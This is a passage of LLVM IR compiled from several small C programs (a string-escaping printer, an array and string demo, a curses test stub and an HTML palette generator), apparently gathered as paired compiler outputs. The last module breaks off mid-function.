%5 = alloca i32, align 4
%6 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
store i32 0, ptr %5, align 4
store i32 0, ptr %6, align 4
%7 = load ptr, ptr %4, align 8
%8 = load i32, ptr %6, align 4
%9 = sext i32 %8 to i64
%10 = getelementptr inbounds i8, ptr %7, i64 %9
%11 = load i8, ptr %10, align 1
%12 = sext i8 %11 to i32
%13 = icmp ne i32 %12, 0
br i1 %13, label %.lr.ph, label %64
.lr.ph: ; preds = %2
br label %14
14: ; preds = %.lr.ph, %52
%15 = load ptr, ptr %4, align 8
%16 = load i32, ptr %6, align 4
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds i8, ptr %15, i64 %17
%19 = load i8, ptr %18, align 1
%20 = sext i8 %19 to i32
switch i32 %20, label %41 [
i32 10, label %21
i32 9, label %31
]
21: ; preds = %14
%22 = load ptr, ptr %3, align 8
%23 = load i32, ptr %5, align 4
%24 = add nsw i32 %23, 1
store i32 %24, ptr %5, align 4
%25 = sext i32 %23 to i64
%26 = getelementptr inbounds i8, ptr %22, i64 %25
store i8 92, ptr %26, align 1
%27 = load ptr, ptr %3, align 8
%28 = load i32, ptr %5, align 4
%29 = sext i32 %28 to i64
%30 = getelementptr inbounds i8, ptr %27, i64 %29
store i8 110, ptr %30, align 1
br label %51
31: ; preds = %14
%32 = load ptr, ptr %3, align 8
%33 = load i32, ptr %5, align 4
%34 = add nsw i32 %33, 1
store i32 %34, ptr %5, align 4
%35 = sext i32 %33 to i64
%36 = getelementptr inbounds i8, ptr %32, i64 %35
store i8 92, ptr %36, align 1
%37 = load ptr, ptr %3, align 8
%38 = load i32, ptr %5, align 4
%39 = sext i32 %38 to i64
%40 = getelementptr inbounds i8, ptr %37, i64 %39
store i8 116, ptr %40, align 1
br label %51
41: ; preds = %14
%42 = load ptr, ptr %4, align 8
%43 = load i32, ptr %6, align 4
%44 = sext i32 %43 to i64
%45 = getelementptr inbounds i8, ptr %42, i64 %44
%46 = load i8, ptr %45, align 1
%47 = load ptr, ptr %3, align 8
%48 = load i32, ptr %5, align 4
%49 = sext i32 %48 to i64
%50 = getelementptr inbounds i8, ptr %47, i64 %49
store i8 %46, ptr %50, align 1
br label %51
51: ; preds = %41, %31, %21
br label %52
52: ; preds = %51
%53 = load i32, ptr %5, align 4
%54 = add nsw i32 %53, 1
store i32 %54, ptr %5, align 4
%55 = load i32, ptr %6, align 4
%56 = add nsw i32 %55, 1
store i32 %56, ptr %6, align 4
%57 = load ptr, ptr %4, align 8
%58 = load i32, ptr %6, align 4
%59 = sext i32 %58 to i64
%60 = getelementptr inbounds i8, ptr %57, i64 %59
%61 = load i8, ptr %60, align 1
%62 = sext i8 %61 to i32
%63 = icmp ne i32 %62, 0
br i1 %63, label %14, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %52
br label %64
64: ; preds = %._crit_edge, %2
%65 = load ptr, ptr %4, align 8
%66 = load i32, ptr %6, align 4
%67 = sext i32 %66 to i64
%68 = getelementptr inbounds i8, ptr %65, i64 %67
%69 = load i8, ptr %68, align 1
%70 = sext i8 %69 to i32
%71 = icmp eq i32 %70, 0
br i1 %71, label %72, label %77
72: ; preds = %64
%73 = load ptr, ptr %3, align 8
%74 = load i32, ptr %5, align 4
%75 = sext i32 %74 to i64
%76 = getelementptr inbounds i8, ptr %73, i64 %75
store i8 0, ptr %76, align 1
br label %77
77: ; preds = %72, %64
store i32 0, ptr %5, align 4
%78 = load ptr, ptr %3, align 8
%79 = load i32, ptr %5, align 4
%80 = sext i32 %79 to i64
%81 = getelementptr inbounds i8, ptr %78, i64 %80
%82 = load i8, ptr %81, align 1
%83 = sext i8 %82 to i32
%84 = icmp ne i32 %83, 0
br i1 %84, label %.lr.ph2, label %103
.lr.ph2: ; preds = %77
br label %85
85: ; preds = %.lr.ph2, %93
%86 = load ptr, ptr %3, align 8
%87 = load i32, ptr %5, align 4
%88 = sext i32 %87 to i64
%89 = getelementptr inbounds i8, ptr %86, i64 %88
%90 = load i8, ptr %89, align 1
%91 = sext i8 %90 to i32
%92 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %91)
br label %93
93: ; preds = %85
%94 = load i32, ptr %5, align 4
%95 = add nsw i32 %94, 1
store i32 %95, ptr %5, align 4
%96 = load ptr, ptr %3, align 8
%97 = load i32, ptr %5, align 4
%98 = sext i32 %97 to i64
%99 = getelementptr inbounds i8, ptr %96, i64 %98
%100 = load i8, ptr %99, align 1
%101 = sext i8 %100 to i32
%102 = icmp ne i32 %101, 0
br i1 %102, label %85, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %93
br label %103
103: ; preds = %._crit_edge3, %77
%104 = load ptr, ptr %3, align 8
%105 = load i32, ptr %5, align 4
%106 = sext i32 %105 to i64
%107 = getelementptr inbounds i8, ptr %104, i64 %106
%108 = load i8, ptr %107, align 1
%109 = sext i8 %108 to i32
%110 = icmp eq i32 %109, 0
br i1 %110, label %111, label %113
111: ; preds = %103
%112 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
br label %113
113: ; preds = %111, %103
ret void
}
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpetbh1vxb.c'
source_filename = "/tmp/tmpetbh1vxb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.main.name = private unnamed_addr constant [4 x i8] c"a\00\00\00", align 1
@.str = private unnamed_addr constant [22 x i8] c"numbers: %d %d %d %d\0A\00", align 1
@.str.1 = private unnamed_addr constant [24 x i8] c"name each: %c %c %c %c\0A\00", align 1
@.str.2 = private unnamed_addr constant [10 x i8] c"name: %s\0A\00", align 1
@.str.3 = private unnamed_addr constant [4 x i8] c"Zed\00", align 1
@.str.4 = private unnamed_addr constant [13 x i8] c"another: %s\0A\00", align 1
@.str.5 = private unnamed_addr constant [27 x i8] c"another each: %c %c %c %c\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca [4 x i32], align 16
%7 = alloca [4 x i8], align 1
%8 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
call void @llvm.memset.p0.i64(ptr align 16 %6, i8 0, i64 16, i1 false)
call void @llvm.memcpy.p0.p0.i64(ptr align 1 %7, ptr align 1 @__const.main.name, i64 4, i1 false)
%9 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 0
%10 = load i32, ptr %9, align 16
%11 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 1
%12 = load i32, ptr %11, align 4
%13 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 2
%14 = load i32, ptr %13, align 8
%15 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 3
%16 = load i32, ptr %15, align 4
%17 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %10, i32 noundef %12, i32 noundef %14, i32 noundef %16)
%18 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 0
%19 = load i8, ptr %18, align 1
%20 = sext i8 %19 to i32
%21 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 1
%22 = load i8, ptr %21, align 1
%23 = sext i8 %22 to i32
%24 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 2
%25 = load i8, ptr %24, align 1
%26 = sext i8 %25 to i32
%27 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 3
%28 = load i8, ptr %27, align 1
%29 = sext i8 %28 to i32
%30 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %20, i32 noundef %23, i32 noundef %26, i32 noundef %29)
%31 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 0
store i32 1, ptr %31, align 16
%32 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 1
store i32 2, ptr %32, align 4
%33 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 2
store i32 3, ptr %33, align 8
%34 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 3
store i32 4, ptr %34, align 4
%35 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 0
store i8 90, ptr %35, align 1
%36 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 1
store i8 101, ptr %36, align 1
%37 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 2
store i8 100, ptr %37, align 1
%38 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 3
store i8 0, ptr %38, align 1
%39 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 0
%40 = load i32, ptr %39, align 16
%41 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 1
%42 = load i32, ptr %41, align 4
%43 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 2
%44 = load i32, ptr %43, align 8
%45 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 3
%46 = load i32, ptr %45, align 4
%47 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %40, i32 noundef %42, i32 noundef %44, i32 noundef %46)
%48 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 0
%49 = load i8, ptr %48, align 1
%50 = sext i8 %49 to i32
%51 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 1
%52 = load i8, ptr %51, align 1
%53 = sext i8 %52 to i32
%54 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 2
%55 = load i8, ptr %54, align 1
%56 = sext i8 %55 to i32
%57 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 3
%58 = load i8, ptr %57, align 1
%59 = sext i8 %58 to i32
%60 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %50, i32 noundef %53, i32 noundef %56, i32 noundef %59)
%61 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 0
%62 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, ptr noundef %61)
store ptr @.str.3, ptr %8, align 8
%63 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 0
%64 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, ptr noundef %63)
%65 = load ptr, ptr %8, align 8
%66 = getelementptr inbounds i8, ptr %65, i64 0
%67 = load i8, ptr %66, align 1
%68 = sext i8 %67 to i32
%69 = load ptr, ptr %8, align 8
%70 = getelementptr inbounds i8, ptr %69, i64 1
%71 = load i8, ptr %70, align 1
%72 = sext i8 %71 to i32
%73 = load ptr, ptr %8, align 8
%74 = getelementptr inbounds i8, ptr %73, i64 2
%75 = load i8, ptr %74, align 1
%76 = sext i8 %75 to i32
%77 = load ptr, ptr %8, align 8
%78 = getelementptr inbounds i8, ptr %77, i64 3
%79 = load i8, ptr %78, align 1
%80 = sext i8 %79 to i32
%81 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, i32 noundef %68, i32 noundef %72, i32 noundef %76, i32 noundef %80)
ret i32 0
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #2
declare i32 @printf(ptr noundef, ...) #3
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #3 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpetbh1vxb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.main.name = private unnamed_addr constant [4 x i8] c"a\00\00\00", align 1
@.str = private unnamed_addr constant [22 x i8] c"numbers: %d %d %d %d\0A\00", align 1
@.str.1 = private unnamed_addr constant [24 x i8] c"name each: %c %c %c %c\0A\00", align 1
@.str.2 = private unnamed_addr constant [10 x i8] c"name: %s\0A\00", align 1
@.str.3 = private unnamed_addr constant [4 x i8] c"Zed\00", align 1
@.str.4 = private unnamed_addr constant [13 x i8] c"another: %s\0A\00", align 1
@.str.5 = private unnamed_addr constant [27 x i8] c"another each: %c %c %c %c\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca [4 x i32], align 16
%7 = alloca [4 x i8], align 1
%8 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
call void @llvm.memset.p0.i64(ptr align 16 %6, i8 0, i64 16, i1 false)
call void @llvm.memcpy.p0.p0.i64(ptr align 1 %7, ptr align 1 @__const.main.name, i64 4, i1 false)
%9 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 0
%10 = load i32, ptr %9, align 16
%11 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 1
%12 = load i32, ptr %11, align 4
%13 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 2
%14 = load i32, ptr %13, align 8
%15 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 3
%16 = load i32, ptr %15, align 4
%17 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %10, i32 noundef %12, i32 noundef %14, i32 noundef %16)
%18 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 0
%19 = load i8, ptr %18, align 1
%20 = sext i8 %19 to i32
%21 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 1
%22 = load i8, ptr %21, align 1
%23 = sext i8 %22 to i32
%24 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 2
%25 = load i8, ptr %24, align 1
%26 = sext i8 %25 to i32
%27 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 3
%28 = load i8, ptr %27, align 1
%29 = sext i8 %28 to i32
%30 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %20, i32 noundef %23, i32 noundef %26, i32 noundef %29)
%31 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 0
store i32 1, ptr %31, align 16
%32 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 1
store i32 2, ptr %32, align 4
%33 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 2
store i32 3, ptr %33, align 8
%34 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 3
store i32 4, ptr %34, align 4
%35 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 0
store i8 90, ptr %35, align 1
%36 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 1
store i8 101, ptr %36, align 1
%37 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 2
store i8 100, ptr %37, align 1
%38 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 3
store i8 0, ptr %38, align 1
%39 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 0
%40 = load i32, ptr %39, align 16
%41 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 1
%42 = load i32, ptr %41, align 4
%43 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 2
%44 = load i32, ptr %43, align 8
%45 = getelementptr inbounds [4 x i32], ptr %6, i64 0, i64 3
%46 = load i32, ptr %45, align 4
%47 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %40, i32 noundef %42, i32 noundef %44, i32 noundef %46)
%48 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 0
%49 = load i8, ptr %48, align 1
%50 = sext i8 %49 to i32
%51 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 1
%52 = load i8, ptr %51, align 1
%53 = sext i8 %52 to i32
%54 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 2
%55 = load i8, ptr %54, align 1
%56 = sext i8 %55 to i32
%57 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 3
%58 = load i8, ptr %57, align 1
%59 = sext i8 %58 to i32
%60 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %50, i32 noundef %53, i32 noundef %56, i32 noundef %59)
%61 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 0
%62 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, ptr noundef %61)
store ptr @.str.3, ptr %8, align 8
%63 = getelementptr inbounds [4 x i8], ptr %7, i64 0, i64 0
%64 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, ptr noundef %63)
%65 = load ptr, ptr %8, align 8
%66 = getelementptr inbounds i8, ptr %65, i64 0
%67 = load i8, ptr %66, align 1
%68 = sext i8 %67 to i32
%69 = load ptr, ptr %8, align 8
%70 = getelementptr inbounds i8, ptr %69, i64 1
%71 = load i8, ptr %70, align 1
%72 = sext i8 %71 to i32
%73 = load ptr, ptr %8, align 8
%74 = getelementptr inbounds i8, ptr %73, i64 2
%75 = load i8, ptr %74, align 1
%76 = sext i8 %75 to i32
%77 = load ptr, ptr %8, align 8
%78 = getelementptr inbounds i8, ptr %77, i64 3
%79 = load i8, ptr %78, align 1
%80 = sext i8 %79 to i32
%81 = call i32 (ptr, ...) @printf(ptr noundef @.str.5, i32 noundef %68, i32 noundef %72, i32 noundef %76, i32 noundef %80)
ret i32 0
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #1
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #2
declare i32 @printf(ptr noundef, ...) #3
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: write) }
attributes #2 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #3 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp34ouwlar.c'
source_filename = "/tmp/tmp34ouwlar.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [12 x i8] c"UNSUPPORTED\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @cmd_winwstr(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%5 = load i32, ptr %3, align 4
%6 = call i32 @check_arg_count(i32 noundef %5, i32 noundef 1)
%7 = icmp eq i32 %6, 1
br i1 %7, label %8, label %9
8: ; preds = %2
br label %12
9: ; preds = %2
%10 = call i32 @report_count(i32 noundef 1)
%11 = call i32 @report_error(ptr noundef @.str)
br label %12
12: ; preds = %9, %8
ret void
}
declare i32 @check_arg_count(i32 noundef, i32 noundef) #1
declare i32 @report_count(i32 noundef) #1
declare i32 @report_error(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp34ouwlar.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [12 x i8] c"UNSUPPORTED\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @cmd_winwstr(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%5 = load i32, ptr %3, align 4
%6 = call i32 @check_arg_count(i32 noundef %5, i32 noundef 1)
%7 = icmp eq i32 %6, 1
br i1 %7, label %8, label %9
8: ; preds = %2
br label %12
9: ; preds = %2
%10 = call i32 @report_count(i32 noundef 1)
%11 = call i32 @report_error(ptr noundef @.str)
br label %12
12: ; preds = %9, %8
ret void
}
declare i32 @check_arg_count(i32 noundef, i32 noundef) #1
declare i32 @report_count(i32 noundef) #1
declare i32 @report_error(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpiogpfunn.c'
source_filename = "/tmp/tmpiogpfunn.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [15 x i8] c"128col-sg.html\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"w\00", align 1
@.str.2 = private unnamed_addr constant [10 x i8] c"No file!\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"<html>\0A\09<head>\0A\00", align 1
@.str.4 = private unnamed_addr constant [36 x i8] c"\09\09<title>minimOS palette**</title>\0A\00", align 1
@.str.5 = private unnamed_addr constant [18 x i8] c"\09</head>\0A\09<body>\0A\00", align 1
@.str.6 = private unnamed_addr constant [22 x i8] c"\09\09<table border='0'>\0A\00", align 1
@.str.7 = private unnamed_addr constant [9 x i8] c"\09\09\09<tr>\0A\00", align 1
@.str.8 = private unnamed_addr constant [22 x i8] c"\09\09\09\09<td style='color:\00", align 1
@.str.9 = private unnamed_addr constant [6 x i8] c"black\00", align 1
@.str.10 = private unnamed_addr constant [6 x i8] c"white\00", align 1
@.str.11 = private unnamed_addr constant [56 x i8] c";background-color:rgb(%d,%d,%d);'>S%d<br />%d%d%d</td>\0A\00", align 1
@.str.12 = private unnamed_addr constant [10 x i8] c"\09\09\09</tr>\0A\00", align 1
@.str.13 = private unnamed_addr constant [52 x i8] c";background-color:rgb(%d,%d,%d);'>G%d<br />%d</td>\0A\00", align 1
@.str.14 = private unnamed_addr constant [47 x i8] c";background-color:rgb(%d,%d,%d);'>%c%c%c<br />\00", align 1
@.str.15 = private unnamed_addr constant [82 x i8] c"<span style='font-size:0.7em;background-color:rgb(%d,%d,%d);'>%c%c%c</span></td>\0A\00", align 1
@.str.16 = private unnamed_addr constant [28 x i8] c"\09\09</table>\0A\09</body>\0A</html>\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca i32, align 4
%15 = alloca i32, align 4
%16 = alloca i8, align 1
%17 = alloca i8, align 1
%18 = alloca i8, align 1
%19 = alloca ptr, align 8
store i32 0, ptr %1, align 4
%20 = call ptr @fopen(ptr noundef @.str, ptr noundef @.str.1)
store ptr %20, ptr %19, align 8
%21 = load ptr, ptr %19, align 8
%22 = icmp eq ptr %21, null
br i1 %22, label %23, label %25
23: ; preds = %0
%24 = call i32 @printf(ptr noundef @.str.2)
store i32 1, ptr %1, align 4
br label %296
25: ; preds = %0
%26 = load ptr, ptr %19, align 8
%27 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %26, ptr noundef @.str.3)
%28 = load ptr, ptr %19, align 8
%29 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %28, ptr noundef @.str.4)
%30 = load ptr, ptr %19, align 8
%31 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %30, ptr noundef @.str.5)
%32 = load ptr, ptr %19, align 8
%33 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %32, ptr noundef @.str.6)
%34 = load ptr, ptr %19, align 8
%35 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %34, ptr noundef @.str.7)
store i32 0, ptr %6, align 4
br label %36
36: ; preds = %100, %25
%37 = load i32, ptr %6, align 4
%38 = icmp slt i32 %37, 2
br i1 %38, label %39, label %103
39: ; preds = %36
store i32 0, ptr %3, align 4
br label %40
40: ; preds = %96, %39
%41 = load i32, ptr %3, align 4
%42 = icmp slt i32 %41, 2
br i1 %42, label %43, label %99
43: ; preds = %40
store i32 0, ptr %5, align 4
br label %44
44: ; preds = %92, %43
%45 = load i32, ptr %5, align 4
%46 = icmp slt i32 %45, 2
br i1 %46, label %47, label %95
47: ; preds = %44
store i32 0, ptr %9, align 4
br label %48
48: ; preds = %88, %47
%49 = load i32, ptr %9, align 4
%50 = icmp slt i32 %49, 2
br i1 %50, label %51, label %91
51: ; preds = %48
%52 = load i32, ptr %3, align 4
%53 = mul nsw i32 255, %52
store i32 %53, ptr %10, align 4
%54 = load i32, ptr %6, align 4
%55 = mul nsw i32 170, %54
%56 = load i32, ptr %5, align 4
%57 = mul nsw i32 85, %56
%58 = add nsw i32 %55, %57
store i32 %58, ptr %11, align 4
%59 = load i32, ptr %9, align 4
%60 = mul nsw i32 255, %59
store i32 %60, ptr %12, align 4
%61 = load ptr, ptr %19, align 8
%62 = call i32 (ptr, ptr, ...) @fprintf(ptr noundef %61, ptr noundef @.str.8)
%63 = load i32, ptr %11, align 4
%64 = icmp sgt i32 %63, 127
br i1 %64, label %65, label %68
65: ; preds = %51
